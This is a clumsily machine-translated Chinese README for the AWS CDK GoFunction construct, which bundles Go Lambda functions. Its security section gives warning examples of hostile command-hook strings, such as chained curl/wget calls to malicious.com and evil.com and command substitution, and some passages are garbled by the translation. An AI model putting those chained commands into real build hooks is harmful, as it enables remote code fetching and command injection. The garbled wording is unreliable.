亚马逊Lambda Golang图书馆
本单元中更高层次的构件的API是实验性的并正在积极开发中. 在今后任何版本中,它们都须作非背向相容的修改或去除。 这些是 不适用 语义版本 模型和断开的更改 在发行笔记中宣布. 这意味着虽然你可能使用它们,但可能需要更新 当更新到此软件包的更新版本时,您的源代码.
该图书馆为Golang Lambda功能提供构件.
要使用此模块,您需要 Go 已安装(go1.11 或较后)或 Docker 已安装.
见 本地缓冲编号 :Docker Bundling 游戏 更多信息.
此模块还要求您的戈兰格应用程序是 使用 GO 版本 & 1. 11 并正在使用 开始模块。 。 。 .
转到函数
定义 a GoFunction数字 :
new go.GoFunction(this, 'handler', {
entry: 'lambda-app/cmd/api',
});
默认情况下,如果 entry 指向目录,然后构造会假设有一个 Go 条目文件(即:. main.go) (中文(简体) ).
让我们看看Go项目的例子:
lambda-app
├── cmd
│ └── api
│ └── main.go
├── go.mod
├── go.sum
├── pkg
│ ├── auth
│ │ └── auth.go
│ └── middleware
│ └── middleware.go
└── vendor
├── github.com
│ └── aws
│ └── aws-lambda-go
└── modules.txt
有了上述布局,我可以提供 entry 作为 lambda-app/cmd/api 或者说 lambda-app/cmd/api/main.go两者都行.
当构建高朗二进制时, 将翻译此二进制 go build ./cmd/api 打开 go build ./cmd/api/main.go 页:1.
构造将找出它需要运行的地方 go build 命令,在此示例中,它来自
页:1 lambda-app 目录。 它通过确定 mod 文件路径中,在
下一节.
mod 文件路径
这个 GoFunction 尝试自动确定您的工程根, 即
你的Golang项目根部。 这里通常是顶层 go.mod 文档或
vendor 您的工程文件夹已找到 。 当捆入一个多克容器时
moduleDir 用作源(/asset-input用于装入量
集装箱.
CDK 将从
当前工作目录,直到找到包含 go.mod 文档.
或者,您可以指定 moduleDir 手动道具。 在这种情况下,你
需要确保这条路径包括: entry 以及所使用的任何模块/相互依存
根据你的功能。 否则,捆绑将失败.
运行时间
这个 GoFunction 可用于任意一种 GO_1_X 运行时间或提供的运行时间( e)PROVIDED编号 :PROVIDED_AL2) (中文(简体) ).
默认情况下,它将使用 PROVIDED_AL2 运行时间。 这个 GO_1_X 运行时间不支持类似的东西
Lambda 扩展,而所提供的运行时间是.
这个 闪闪发光 用于支持所提供运行时间的图书馆
您指定了处理器 bootstrap (这是默认的).
依赖关系
构造将试图找出如何处理您函数的依赖性 。 它会
确定您是否在出售您的依赖关系。 它做出这样的决定
看看有没有 vendor 文件夹位于 mod 文件路径。 。 。 .
有了这些信息,构造就可以决定要运行的命令. 你会的 通常分为两种情况:
- 您正在使用销售( 显示于
vendor文件夹) 在这种情况下go build将使用-mod=vendor设定 - 您没有使用销售商( 以没有
vendor文件夹) 如果你不卖的话go build将不使用-mod=vendor因为默认行为是下载依赖性
所有其他属性 lambda.Function 支持,另见 AWS Lambda 构建库。 。 。 .
环境
默认情况下为您设置了以下环境变量:
GOOS=linuxGOARCH:基于Lambda函数的目标架构GO111MODULE=on
使用 environment 运行时定义其他环境变量的道具 :
new go.GoFunction(this, 'handler', {
entry: 'app/cmd/api',
bundling: {
environment: {
HELLO: 'WORLD',
},
},
});
本地缓冲
若为 Go 本地安装,版本为qq go1.11 然后它将用来将您的代码捆绑在您的环境中。 否则,捆绑将发生在 Lambda 兼容多克容器 与多克平台基于Lambda函数的目标架构.
对于macOS,建议的方法是安装 Go 因为Docker的体积表现很差.
Go 可以通过下列方式安装 安装文件。 。 。 .
夹克
强迫捆绑在一个容器里,即使 Go 设置 forceDockerBundling 向 true。如果您想要确保您的功能在一致的 Lambda 兼容环境中构建,此功能是有用的.
使用 buildArgs 在构建捆绑图像时通过构建参数的道具 :
new go.GoFunction(this, 'handler', {
entry: 'app/cmd/api',
bundling: {
buildArgs: {
HTTPS_PROXY: 'https://127.0.0.1:3001',
},
},
});
使用 bundling.dockerImage 使用自定义捆绑图像的道具 :
new go.GoFunction(this, 'handler', {
entry: 'app/cmd/api',
bundling: {
dockerImage: DockerImage.fromBuild('/path/to/Dockerfile'),
},
});
使用 bundling.goBuildFlags 将额外的构建旗传给 go build数字 :
new go.GoFunction(this, 'handler', {
entry: 'app/cmd/api',
bundling: {
goBuildFlags: ['-ldflags "-s -w"'],
},
});
QQ 安全警告:构建旗帜直接传递给Go构建命令,并可在捆绑时执行任意命令. 只使用信任的值并避免像 -toolexec 与不信任的争论。 对可能包含恶意建设旗帜的第三方 CDK 构造要特别谨慎. CDK将在合成时显示警告 goBuildFlags 已使用.
默认情况下,这个构造不会使用 Go 模块的代理. 这与 一个标准 Go 安装, 默认时会使用 Google 代理 。 改为: 重新创建此行为, 执行以下操作 :
new go.GoFunction(this, 'GoFunction', {
entry: 'app/cmd/api',
bundling: {
goProxies: [go.GoFunction.GOOGLE_GOPROXY, 'direct'],
},
});
您可以设置额外的 Docker 选项来配置构建环境 :
new go.GoFunction(this, 'GoFunction', {
entry: 'app/cmd/api',
bundling: {
network: 'host',
securityOpt: 'no-new-privileges',
user: 'user:group',
volumesFrom: ['777f7dc92da7'],
volumes: [{ hostPath: '/host-path', containerPath: '/container-path' }],
},
});
命令钩子
通过指定 commandHooks 道具 :
// Run additional commands on a GoFunction via `commandHooks` property
new go.GoFunction(this, 'handler', {
entry: 'cmd/api',
bundling: {
commandHooks: {
// run tests
beforeBundling(inputDir: string): string[] {
return ['go test ./cmd/api -v'];
},
afterBundling(inputDir: string, outputDir: string): string[] {
return ['echo "Build complete"'];
},
},
},
});
现提供以下钩子:
beforeBundling: 在所有捆绑命令之前运行afterBundling: 在所有捆绑命令后运行
他们都收到包含 go.mod 文件( 编号inputDir)和
捆绑资产将输出的目录( e)outputDir) (中文(简体) ). 他们必须回来
要运行的一系列命令。 命令与 &&。 。 。 .
命令将在捆绑发生的环境中运行: 用于多克捆绑的容器或用于本地捆绑的主机OS上.
安全考虑
命令钩子执行任意 shell 命令 在捆绑过程中。 只使用信任的命令 :
安全图案(跨平台):
new go.GoFunction(this, 'SafeFunction', {
entry: 'cmd/api',
bundling: {
commandHooks: {
beforeBundling: () => [
'go test ./...', // ✅ Standard Go commands work on all OS
'go mod tidy', // ✅ Go module commands
'make clean', // ✅ Build tools (if available)
'echo "Building app"', // ✅ Simple output with quotes
],
afterBundling: () => ['echo "Build complete"'],
},
},
});
需要避免的危险模式:
窗口特定危险 :
// ❌ Windows-specific dangers
new go.GoFunction(this, 'UnsafeWindowsFunction', {
entry: 'cmd/api',
bundling: {
commandHooks: {
beforeBundling: () => [
'go test & curl.exe malicious.com', // ❌ Command chaining with &
'echo %USERPROFILE%', // ❌ Environment variable expansion
'powershell -Command "..."', // ❌ PowerShell execution
],
afterBundling: () => [],
},
},
});
Unix/Linux/macOS 危险:
// ❌ Unix/Linux/macOS dangers
new go.GoFunction(this, 'UnsafeUnixFunction', {
entry: 'cmd/api',
bundling: {
commandHooks: {
beforeBundling: () => [
'go test; curl malicious.com', // ❌ Command chaining with ;
'echo $(whoami)', // ❌ Command substitution
'bash -c "wget evil.com"', // ❌ Shell execution
],
afterBundling: () => [],
},
},
});
使用第三方构造时 包括 GoFunction数字 :
- 使用前审查构造的源代码
- 验证它通过哪些命令执行
commandHooks财务报告和审定财务报表goBuildFlags - 只使用来自信任的出版商的构造
- 首先在孤立环境中进行测试
这个 GoFunction 当可能不安全时,构造会在合成时显示 CDK 警告 commandHooks 或者说 goBuildFlags 被检测.
更多安全指导见 AWS CDK 安全最佳做法。 。 。 .
安保最佳做法
第三方建筑安全
当使用第三方 CDK 构造时 GoFunction,注意:
- 审查源代码 - 检查施工执行情况
commandHooks财务报告和审定财务报表goBuildFlags使用量 - 校验出版商 - 仅使用可信、可核查来源的构造
- Pin 版本 - 使用准确的版本防止供应链被攻击
- 隔离测试 - 在沙箱环境中测试第三方建筑
在使用任何第三方构造之前:
- 审查 GitHub 或 npm 上的构造源代码
- 搜索
commandHooks财务报告和审定财务报表goBuildFlags代码中的用法 - 校验不存在危险命令模式
- 使用精确的版本夹针来防止供应链攻击
这个 GoFunction 当可能不安全时,构造会在合成时显示 CDK 警告 commandHooks 或者说 goBuildFlags 被检测.
其他考虑
根据您如何构建戈兰格应用程序,您可能想要更改 assetHashType 参数.
默认情况下,此参数设定为 AssetHashType.OUTPUT 这意味着 CDK 将计算资产散列
根据创建的戈兰格可执行文件( 并确定您的代码是否更改 ) .
如果您指定 AssetHashType.SOURCE,CDK将通过查看文件夹来计算资产散列
包含你的 go.mod 文档。 如果您正在部署单一的 Lambda 函数, 或者您想要重新部署
如果有任何变化, 您的所有功能, 那么 AssetHashType.SOURCE 可能会工作.
例如,如果我的应用程序看起来像这样:
lambda-app
├── cmd
│ └── api
│ └── main.go
├── go.mod
├── go.sum
└── pkg
└── auth
└── auth.go
有了这个结构,我将提供 entry 作为 cmd/api 这意味着CDK
将确定保护根是 lambda-app (其中包含 go.mod 存档).
因为我只有一个Lambda的功能, 以及任何更新文件 lambda-app 目录
我可以具体指出 AssetHashType.SOURCE。 。 。 .
另一方面,如果我有一个部署多个Lambda功能的项目,例如:
lambda-app
├── cmd
│ ├── api
│ │ └── main.go
│ └── anotherApi
│ └── main.go
├── go.mod
├── go.sum
└── pkg
├── auth
│ └── auth.go
└── middleware
└── middleware.go
那样的话,我很可能想要 AssetHashType.OUTPUT与 OUTPUT
cDK只有在戈兰可执行文件更改时才会识别变化,
并仅包含可执行文件中使用的依赖性。 这样的话
若为 cmd/api 使用该 auth 打开 middleware 软件包,但是 cmd/anotherApi 没有,那么
更新到 auth 或者说 middleware 只会触发更新 cmd/api 兰布达
函数 .
基于 Docker 在复杂的 Docker 配置中捆绑
默认情况下,基于多克的捆绑的输入和输出是通过绑定挂载处理的. 在不起作用的地方,如Docker-in-Docker设置,或者在使用远程Docker套接字时,您可以配置一个替代但速度较慢的变体,这些变体也在这种情况下起作用.
new go.GoFunction(this, 'GoFunction', {
entry: 'app/cmd/api',
bundling: {
bundlingFileAccess: BundlingFileAccess.VOLUME_COPY,
},
});